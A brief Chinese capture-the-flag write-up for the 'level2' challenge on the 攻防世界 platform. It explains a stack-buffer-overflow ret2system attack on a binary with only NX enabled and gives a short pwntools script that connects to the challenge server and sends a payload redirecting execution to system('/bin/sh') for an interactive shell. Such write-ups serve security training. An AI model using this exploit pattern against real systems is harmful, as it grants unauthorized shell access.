攻防世界(9):level2
查壳,只开了NX,可以利用栈溢出
level0是直接覆盖到运行system('/bin/sh')的函数,level2是先覆盖到call system的地址,然后覆盖/bin/sh
注意,如果覆盖的是system的地址,则要加上四位覆盖call之后的eip压栈,运行gdb可以看到eip压栈
shift+F12查找/bin/sh
写exp
#!/usr/bin/env python
from pwn import *
p = remote("111.200.241.244",52370)
sys_addr = 0x0804849E
binsh = 0x0804A024
payload = 'A' * 0x88 + 'a' * 0x4 + p32(sys_addr)+p32(binsh)
p.recvuntil("")
p.sendline(payload)
p.interactive()